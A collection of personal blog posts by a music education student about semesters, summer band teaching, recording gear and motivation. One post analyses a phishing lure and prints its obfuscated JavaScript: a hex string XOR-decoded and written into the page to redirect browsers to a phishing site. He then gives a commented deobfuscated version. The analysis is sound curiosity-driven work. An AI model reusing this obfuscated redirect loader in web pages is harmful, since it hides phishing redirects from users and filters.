Semester Five of a Music Ed Student: Part II

In the past, I've had the nasty habit of holding this pattern : waste time in the beginning of the year and become overloaded with stress towards the end. This year was the end of that! Or, rather, the beginning of the end of that - this habit, like any, will take time to develop.

So what did I do to cut my stress? First, I got as far ahead as I could in all my classes and other responsibilities right off the bat. This was a huge blessing with my Counterpoint class; it's known for being a real beast and for people pulling long, difficult hours on their projects, but in reality, we were given plenty of time to do everything so long as we don't start the day before it's due. (Funny how that works out, isn't it?) My main goal was to finish, or at least get the best head of steam I could, on everything on the day it's assigned. All too often, the average college kid will begin something the day (or night) before it's due, so since it can be done in a day, I put it on the front end and thus spread out, minimized, and managed my stress, avoiding distress and maintaining eustress. Basic when it comes down to it, yes, but it really works.

Secondly, I took some advice and avoided the "teacher's lounge." In the music building, there are a set of flesh magnets called "the couches" that are kind of like the monkey bars: it's where all the cool kids hang out. It also happens to be the best place to get swamped in gossip and the worst place to be productive. Nothing against the couch-dwellers themselves, cool people in their own right, but when I stopped spending time there, I was more productive and more positive. More out of the social loop? Sure, but gossip won't help you with finals.

Finally, I dedicated time for sleep. I set hard limits for when I would make myself turn in, hard limits for how early I could get up, and tried to get no fewer than 7 hours of sleep. Many college students would wonder at the potential for so much sleep every night, but I found that if I made that a priority, other things just worked out around it. The flaw in this plan was that a series of concerts and tours put the people in both band and orchestra about two weeks behind in our classes going into finals, so I spent some late nights getting work done, but boy, could I tell the difference! I don't know how I had gotten this far on such little sleep, because seeing the difference back-to-back really made it that much more obvious that good sleep can be just as important as good study. The trick is finding the balance. (As an aside, I tried working my butt off for six days and doing squat-nothing on Sunday aside from Church, and I found that that's not enough time off; my body can't unwind that much in a healthy way in only a day. A lighter load overall really does the trick, plus an easy-going-but-still-productive Saturday to complement the God-family-and-friend-oriented Sunday)

For those in or just entering college : your mileage may vary, but I hope this helps.
For those of you working types, I'm curious : does reading this prove to you that 18-to-20-somethings are more alike or different than "in the day?"

Thanks, and a belated happy new year!
-Greg

Semester Five of a Music Ed Student: Part I

This by far was my strangest semester - Three of my classes took the last month off, and I had five juries. Let me explain:

Juries first: my major and minor instruments each had one (trombone and organ, respectively), I had a jury for my percussion methods class, I accompanied someone's jury, and I had a conducting final. (sure, these last two might not really count as juries, but the conducting was for a grade, and the accompaniment was during an official jury time)

Now, the three classes that took the month off were two education classes and a counterpoint class. For Counterpoint, the month was to be spend composing a two-part Bach invention that followed a long set of guidelines and, naturally, followed all the rules of eighteenth-century counterpoint.

The ed classes, however, require some explanation to make my next point.

• Students were to log all their clinical hours during the semester, and the scheduling would have to work around their already-existing classes
• The instrumental methods course was one block long. That means that everything about how to teach band and orchestra and jazz band, marching band, and everything else, in half a semester.

The new system proved to be much more accommodating to the needs of your average college student:

• Half of the clinical hours are done in the summer; nonetheless, most people I talked to actually logged two to three times the required ammount for various reasons.
• For the remaining hours, the last month is set aside not only to give the students some breathing room in their schedule, but also to go more in-depth with planning for and following through with instruction
• The instrumental methods course was expanded to a whole semester, to allow not only for that last month, but also to spend more time on everything, to talk about music ed advocacy and to write a personal philosophy of music education, and to give more time for all this information to sink in.

The moral to all of this, for all the teacher educators and all those in charge of scheduling, is that the best gift you can give a music ed student is the gift of time. This post is dedicated to the people responsible for making this transition possible; my hat goes off to you.

A restful break to everyone, and best wishes for this next semester,
-Greg

Merry Christmas!

Whether you don't yet know or you just need a reminder, I refer you all to a short kid with a blue blanket.

http://www.youtube.com/watch?v=DKk9rv2hUfA

Merry Christmas, everyone. May your travels be safe and your time blessed.
-Greg

Fall Semester Recap

Wow, this has been a wild ride. The semester has flown by, and possibly been one of the busiest yet.

Some notable aspects of these past 4 months that I hope to cover in posts to come:

• Out of all my classes, I didn't have any finals.
• Out of all my classes, three of them took the last month off to work on large projects
• I had five juries
• I wore a unit plan on composing electronic music that I hope to revise and see used with a friend who is teaching in the Fargo public schools
  
• I changed how I work
• I stopped sitting at "The Couches"
  
• I have become a better recording engineer

What I'm planning on doing this Christmas break:

• Do lots of cross-country skiing
• Spend time with my brothers
  
• Write music
• Blog
• RELAX!!!
  

And I have these coming at me this next semester:

• Becoming a better studio engineer
• My first academic course (in the traditional sense) since perhaps freshman year
• A semester of percussion lessons to reinforce and expand what I learned in my percussion methods class
• The last semester for many of my very good friends; I'll miss them more than I can say

In the mean time, it's time to get a late lunch and do some of that relaxing I was talking about.
Merry Christmas,
-Greg

Beans in my Drumsticks

Really, I think there are jumping beans in the tips of my drumsticks; they won't stay still! I'm in a brass and percussion methods class that meets four days a week, essentially two days brass and two days percussion. Anyhow, we're working on rudiments and sticking right now, having gone through all the pitched percussion instruments in, oh, a week, and there's never a time where I don't want to play. That is to say, I always want to do something! Sound like any percussionists you know? Sound like your whole percussion section?

Anecdote : I taught a day of percussion this summer because we were down a teacher. They were playing wipe-out, and I was trying to get them to understand that if they practice the solo slowly, they'll be better when they speed up. You can imagine how a bunch of 6th-graders took that. :)

The funny thing is, though, my whole class is like this. Even in brass methods, these fine college musicians lost all sense of basic things like rhythm when they got a trumpet in their hands. It was like we were all 5th-graders again.

This has really got me thinking about how much we criticize our beginning students for doing things out of turn or for making annoying noises; the fact of the matter is this : it's a lot of fun to make new noises, whether you're 10 or 100. I know that it's a matter of courtesy for people around you and for the general good of the order that we restrain ourselves, but gol, it's fun to just play around.

I'll write more about this insane semester when I get a chance.
Peace out,
-Greg

What's your secret?

Returning to this blog's founding idea of being "comprehensive" or "total," I wanted to reflect on a thought, share a story, and ask a question.

Tell me if I'm off-base...

Teachers often get put into boxes. If you have a math problem, you ask the math teacher. If you have a question about history, you ask the history teacher. If you want music, you ask the music teacher. But teachers don't end at their subjects; simply through living, people tend toward diversity of interests and abilities, and those often go unsung because the subject never really comes up.

---

Storytime...

Before I wanted to be a music teacher, I wanted to be a software engineer, and the decision to switch is another post altogether. Anyway, when I got this message the other day, I had to figure out what was up:

---

Hey ;) You have a secret crush.
Can you guess who it is??
Go Here to find out:
http://insert prefix here.blogspot.com

---

The URL naturally went to a phishing site, and the person from whom I got this had had her account compromised, and this was spread to the top half of her contact list, each person with their own prefix in the URL (just some junk characters).

Now, since a blogspot.com address led to a phishing site, there must have been some trickery going on to the tune of redirection. To see where to and what else was happening, I needed to get at the page source for that blogspot page, but since it redirected me, I had to use "curl" (would have used "wget" if I was on linux; I like it better than curl) to dump the page's HTML to my terminal. Turns out there was a block of javascript code that looked like total garbage...

---

var wevoswe='rhsjluaenoakbkewrt',mneuf='aqvngcwnsjhc',rbgmtdy=0,frlbdef,lsqato,shucocy='%',
ugvqrj='rjweepocopg',hjsvwhe='4e1b101805051545020e0f0c170a02124f563809050b3f16130c1e1b4
35515020b131d035c1c1c1a42190e060f1b08040c450d0517125248534a4c5541455348091f161b5f585d15
101b050e0a115952400c0e064550595801170001031e52',lnmxsi=wevoswe.length,llhix='sodjlhmmu',
vnxkjbo=hjsvwhe.length,lsqato='',elyuimo,riflms,xqulosji,jrsqpbkq,cykogimg;
for(frlbdef=0;frlbdef<vnxkjbo;frlbdef+=2){jrsqpbkq=unescape(shucocy+hjsvwhe.
substr(frlbdef,2));elyuimo=jrsqpbkq.charCodeAt(cykogimg);mneuf=ugvqrj+llhix;
riflms=wevoswe.charCodeAt(rbgmtdy++);ugvqrj=mneuf+wevoswe;xqulosji=elyuimo^riflms;
lsqato+= String.fromCharCode(xqulosji);if(rbgmtdy>=lnmxsi)rbgmtdy=0;}
document.write(lsqato);

---

Basically, it's been scrambled. The variable names have been obscured so as to not give hints of what's going on, and it's made to look as unreadable as possible. After some work in VI, though, it came to look like...

---

var w='rhsjluaenoakbkewrt', // a "key" for a lewis-carroll-like cipher
lenW=w.length,
rb=0, // an index through var. w
i, // iterator for a loop
doc, // document to write at the end
percent='%', // something to hold the escape character
m='aqvngcwnsjhc', // why is this even getting initialized?
str='rjweepocopg', // does this do anything? red herring?
str2='sodjlhmmu', // does this do anything? red herring?
long='4e1b101805051545020e0f0c170a02124f563809050b3f16130c1e1b435515020b131d035c1
c1c1a42190e060f1b08040c450d0517125248534a4c5541455348091f161b5f585d15101b050e0a11
5952400c0e064550595801170001031e52',
longLen=long.length,
doc='', // initialize blank document?
base,
power,
bignumber, // big number to be catted to document? - actually, no
tmpchar,
useless; // never initialized, just used... default=0?

for(i=0;i<longLen;i+=2) // work our way through 'long' 2 chars at a time
{
tmpchar=unescape(percent+long.substr(i,2)); // decode every two chars
base=tmpchar.charCodeAt(useless); // get unicode of tmpchar
m=str+str2; // concatenate? red herring?
power=w.charCodeAt(rb++); // get unicode of w
str=m+w; // concatonate? red herring?
bignumber=base^power; // bitwise operator?
doc+= String.fromCharCode(bignumber); // decode from unicode
if(rb>=lenW)rb=0; // reset counter for shorter 'key' string
} // for

document.write(doc); // write it to where?

---

Sorry, I lost the indenting... I don't think blogger lets you keep it.

I've worked with C and Java, but not Javascript, so there were some places where I was a bit confused, but it's basically a way to decode a string and make the browser deal with it. What happens, if you don't want to look through the comments, is it starts with a key and a code, w and long respectively. The code is actually a bunch of hex escape codes with the delimiters taken out, so the first step is to decode those and turn them into letters. Then, a character is taken from the key, matched up with the corresponding letter in the code, and an operation is done on them to get the real letter. The fact that it uses a passphrase and not just a constant value as a key reminds me of polyalphabetic ciphers like the Lewis Carroll cipher, as my Dad will likely remember it from the science fair project on codes and ciphers from my early elementary school days. Anyway, I'm pretty sure the operator is a
bitwise xor operator and not an exponent function, but in the end, you get your message.

And what is this message? It turns out that what it gives the browser (because document.print() prints to the main frame, I think) is a small script to redirect the browser to another website. What was going on on that other website, though, will stay a mystery because before I could get back and grab the html from it, someone had taken it down and it just forwards to a 404 page for what sounds like the hosting server for a bunch of phishing scams.

The hunt ended there, but it was fun to try my hand again at code hacking. The last time I did anything like this, it was a port over to my old Mac LC-something, redoing the save system and getting rid of all the myriad gotos and parallel arrays in a really fun game done in C by Griffin Knodle called "Bad King," an early project of his. But getting those neurons firing again was just like getting back on an old bike; the syntax may have changed a little, but the process itself never really left me, and it was still as fun as ever.

---

So now for the question, you who either read all that or skipped down here : what gets put outside your box? What don't people expect you to do? Are you glad you're in this box rather than the other? Do you ever get to use both boxes?

Well, I'm back to music history (mmmm... Wagner) until the next phisher tries messing with this band teacher. :)
-Greg

Week Five and Beyond

My gosh, over already? It seems like we were just getting into the swing of things! The concert went very well; my beginning students nailed their instrument features (way to go, guys!!) and stayed together on the piece we weren't altogether prepared for. My intermediate kids did just fine, the timpani player on the piece I conducted got to play on real, full-size timpani instead of some ancient roto-toms, dynamics were pretty decent, and despite all the hubbub of people moving mid-camp, we did well. My advanced band really gave me a pleasant surprise on a tune called "Jamaican Holiday" by schooling a long-standing trouble spot and doing some killer dynamics; I'm nominating us for best section on the planet. :)

What I did well

---

I think I got a much better hold on finding that state of "approachable teacher" rather than a teacher you don't dare go near or person you view more as a buddy and less of an authority. I didn't win over all my students (how often does that really happen, anyway?) but I certainly got many more smiles and many fewer scowls.

What I didn't do well

---

I definitely didn't get as far as I would have liked with my beginners. Neither my trumpets nor my trombones got very far in Essential Elements (we had to skip forward to the concert pieces on p. 12), and while it would be easy to say that a third to a half of each group came in not knowing how to read music (so they claimed - I could have sworn they learned this in classroom music), I'd still say that it's largely my fault for not having gotten them through to that point.

What I'll do better next time

---

Well first and most important, I have to make some new secret handshakes; the low brass handshake is apparently on TV now! No, really first and most importantly, I need to get comfortable with the idea of setting goals not for where my students are, but above where they are. I need to get comfortable with the idea that my kids might have to get severely left in the dust before they kick it into high gear. I need to get comfortable with giving them more than they can handle at once just to show them that they really can handle all of it at once if they try. That ended up happening when they got three band pieces at the same time; I would rather it have happened during the first week or two.

I also need to work more on note recognition in class. I tried this year handing out flashcards with the notes, note names, and fingerings on them so that they could work on that at home and we could work on other stuff in class, but looking back, I realize I've got it backwards. What we did in class was the fun stuff, and what I was asking them to do at home was the mundane stuff; big surprise there that they didn't work on the boring stuff at home. During the summer. Where it competes with video games. And baseball. I seem to remember someone warning me about this...

I think I'll keep the flashcards, though; some kids really did benefit from them, and it's nice to be able to have that option for silent "practice," like in a car with teenage siblings or at a cabin over 4th of July weekend. It's not much, but it's something.

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In other news, paychecks have finally started to come in the very week camp is ending!! No, that's okay, district, my car runs on happy thoughts, not on gasoline; I can still get to work. At least it means my bank account is back above single-digits and that I can buy things like food. In that time after graduation and before the first paycheck, I'd better find something that pays weekly. What did you real teachers do in that dead time?

Also, I got about $90 worth of music in the mail for my upcoming junior recital. I'm giving it a "trombone and organ" theme, so it'll be held at Trinity Lutheran Church in Moorhead just north of campus if anyone wants to come listen. The organ there is quite an instrument and a small giant at that, so if anything, come for that. I'm going to see if I can balance with its "tutti" on one of the pieces.

Anyhoo, more to come later. Take care,
-Greg

Week Four in Review

FULL BAND!!

Yessir, Monday, we put all of our beginners in one room and had them play notes at the same time. Oh what a happy, happy noise.

This means we've switched schedules to accommodate band so I only see each of the groups once per day instead of twice. When I tell my kids this, I always get the "oh my gosh, I'm going to have to practice" face; it's that kind of slight, innocent panic that I find a bit amusing.

In intermediate/advanced band, I lost my advanced horns and gained a group of intermediate saxes and horns. This means it's like week one all over again, so it's been a great opportunity for me to be doubly aware of setting guidelines and what not. ("Saxes, no squawking." "Horns, play louder." "Don't play while I'm talking.")

Funny update about my trumpets, too - they were super driven on Monday. Right from the get-go, two of them called out and counted off a tune! At first, I felt kind of threatened - "hey, this is my rehearsal!" - but then again, why push them when they're already running? They were really eager to show off what they had been working on over the weekend, and more power to them!

Thursday, I taped myself as part of a class I'm taking in the fall. I haven't watched any of the footage yet, but there's about an hour and a half worth of tape that I'll need to go through. Let's just say I'm not expecting it to be painless; I never like watching myself on tape in the first place, and I tend to be my own harshest critic, so we'll see how things go.

In other music related news, I'm playing the Carl Maria von Weber "Romanza" in church tomorrow - that's such a cool piece - and in other education related news, I got Ron Clark's "The Essential 55" yesterday, and "The Excellent 11" should be coming soon. I'm curious as to how I can apply Ron Clark's principals to music education, as they were originally intended for an elementary classroom setting, if I am not mistaken.

All for now,
-Greg

A thanks, a question, and advice on recording

First, I'd like to give a big thanks to Joel over at soyouwanttoteach.com for his kind words and response to my entry on my last post with his brief philosophy on teaching beginning band.

I really admire his three points because they cover just about everything. The first, behavior skills, sets the students up for a good relationship with the teacher because it lays that groundwork for a healthy teacher-student interaction where the teachers aren't angry and the students aren't frustrated. The second, encouraging "band weenie" (or, as I've heard it, "band nerd") attitudes, sets them up for good peer relationships because that feeling of comradeship can go a long way in many ways. The third, having a characteristic sound, sets them up for having a good relationship with themselves; fewer things are more frustrating than that sense of "I can't get it," and a base of musical knowledge and ability will at least carry them through the summer until they can start lessons again.

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Second, I'd like the poll the wisdom of those who read this and ask kind of a noob question : is it okay to advertise yourself as a private lesson teacher to your students? I used to take private lessons from one of my teachers, but he never advertised the fact that he taught privately, at least to my knowledge, and come to think of it, I've never heard any of my teachers offer private-lesson-style help at all. So, I don't know if it's just the precedent I've seen or something a little distasteful about saying "you can pay me later for what you're getting now once this ends." I mean, is there a tactful way to do this, or is it simply bad style in the first place?

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Third, I've been meaning for a while to write something on recording. We used to have some recording gear at my High School, but it was really pretty inferior; the mics were little dynamic mics probably no better than an SM-57, and each track started with a huge "CLICK," which sounded like you were punching the internal mic, which doesn't make sense because there wasn't an internal mic.

Up at school, I've been doing a lot of recording and am becoming the lead recording engineer for Concordia's Beat next year. (more on this later, maybe; the site also badly needs updating) Being around the caliber of equipment you'd find in a recording studio, I've found that it's often true that you get what you pay for. So why, in a school setting, should you splurge and get a lot of expensive recording equipment?

1. Most important, it's fun. I defer you here, to the Digital Music Educator, for a perfect illustration.


2. Also importantly, audition tapes can be expensive for an individual to record professionally, and yet be the easiest for which to assemble gear. Plus, this is maybe one of your best reasons for your administration to hear - audition tapes lead to local, state, and national recognition for your students, which reflects well on the school, eh? Read on for more about this...
   
3. It lets your students hear something on the other side of their instrument's bell. I still do this in my own practicing (just like the camera adds ten pounds, the microphone takes your tone back ten years), but are tons of ways to use a mic as a teaching system.


4. Posterity - we made a recording back in ninth grade and got a copy at the end of 12th; it was cool of course to hear how far we had come, but also to reminisce over some old pieces I had forgotten about. I'm sure my grandkids will look at it some day, too, and have some kind of reaction or another to it. :)
   

Now, about this whole audition tape recording process - depending on your gear, a really good setup can cost as little as maybe $300 and would fit very nicely inside any wishlist you drafted up. This depends on you having a computer, but would get you an interface with phantom power (haven't used one before but it looks like it would do the job) and a condenser microphone (we have a couple of these in our studio and they're fine for recording close alone and far if you're backing them up with something else), plus a mic stand and XLR cable (you may already have a few of these lying around).

That's about all you'd need, if I'm not overlooking anything. Most audition tapes can be done well with one mic; for recording a group, you'd best have at least two mics, but then we're getting into more complicated territory. You plug the mic into the interface, the interface into the computer, and start running a free audio capture program. From there, burning the CD should be just like any other CD you burn.

There's a lot more on this topic, and I'll cover it later; this post has gotten long enough for one Saturday.

On the flip side of using high-quality equipment, by the way, the wise Dr. Carter suggested using the worst-quality recorder you can get to listen back to rehearsals you record and analyze; it makes it that much harder to take the pressure off and rest on your laurels. :)

Hope all's well with everyone, and enjoy any leftover 4th of July burgers.
Grill on,
-Greg

Week Three Highlights

So we're past the half-way mark in summer band and I didn't nearly mention it enough. When I mention it, kids often get this shocked, wide-eyed "what, you're serious??" look on their face and come back after a couple days sounding a lot better. I hate to say that my best motivator is the reminder of a deadline, but I think that's because I haven't really gotten the hang of playing teacher mind-games yet, complete with the guilt-trip, the inspirational speech, and the hundreds of other tricks in a good teacher's bag.

Today in particular was a very interesting one, being the 3rd of July. One of my classes was very small because three of the five kids were gone a day early for vacation. Fortunately for me, one of the two left has a lot of natural talent, and the other one is a very hard worker and is going to be just fine if he sticks with it. (and works on his note-name-and-fingering flashcards!) On the other hand, since one of the teachers couldn't find a sub, I was teaching two horns, five bones, and a dozen-odd trumpets. Having not planned ahead and rearranged my room, we kind of formed into a circle with in the middle dancing around and keeping things going. It was actually really fun, and I wish I had recorded it to see if I did as well as I thought I did.

By the way, I base the assumption that I did well on the fact that there were kids smiling in the I'm-having-fun way and not in the I-can't-wait-to-tell-Billy-about-this-strange-teacher way. This makes me both feel really good and also really cautious because I've heard many teachers give me the warning that if the students like me by Christmas vacation (ahem, Winter Break), I've already lost control. I'm really of a split mind about this advice, but that'll be the subject of a later post.

Anyhoo, also this week, I led my first warmup ever! The teacher who was supposed to have been doing it called out the piece but then was taken out of the room by a parent. I realized, "oh gosh, I'm a teacher now! I have to do something!" So I jumped up on the podium, said something about half notes, Bb, and listening - it was all so fast! :) - and started rehearsing the piece. Woot! I really wish I had caught that on tape; that would have been golden footage for my instrumental methods class this fall.

Finally, what's the deal with finding out a teacher's first name? I don't remember ever having wondered about that as a kid, but I've been asked half-a-dozen times this week. Have we lost respect for our elders so much that a first-name basis is expected of your teachers, or is the beard not fooling anyone? By the way, my first name is "Mister" and let's look at "Hard Rock Blues."

Anyone else notice that you don't really find blues influences in hard rock? Rarely will you ever find a blues-like progression, eighths are always straight, and what about blue notes?

In other news, I'm playing 18th- and 19th-century music with the Century Brass tomorrow at Murphy's Landing. They're such a fun group to play with because I always get my butt kicked; their ears are so much more finely tuned than mine, and they have such wise stylistic points. I'm learning a lot.

Okay, that's all for now. Happy 4th of July!
-Greg

Trumpets and Motidispiration

Well, the trumpets did okay today. I'm really happy at how their mouthpiece sirens are coming along, but I was really hoping for more improvement on note recognition and such. I'm reminded of a talk I heard at the MMEA conference given by Dr. Peter Boonshaft on motivation, discipline, and inspiration. It was truly an inspiring talk, and I dearly wish I had recorded it because he was going through so much good information at such a break-neck pace.

One of his may points was (and correct me if I'm wrong, anyone else who saw it) that motivation, discipline, and inspiration are one in the same. Letting the reader mull that over for a second, I continue : I had given my trumpet players some motivation (the concert was soon), some inspiration ("Look! You can do it already! Just practice to make it solid"), but as for the discipline, I don't know what to think, exactly. They're all in a baseball league, and the progress I've seen in one weekend is great compared to what I've seen in other sports-minded kids who have the same kind of schedule, but there's always that feeling of "what if they had time to practice more?"

I'm reminded that we don't find time for things; we make time.

Still, today didn't sound like a Monday, and I am very very happy for that. Way to go, trumpets!

-Greg

P.S.: anyone have any better grasp on motidispiration than I do? Dan? Dr. Boonshaft? :)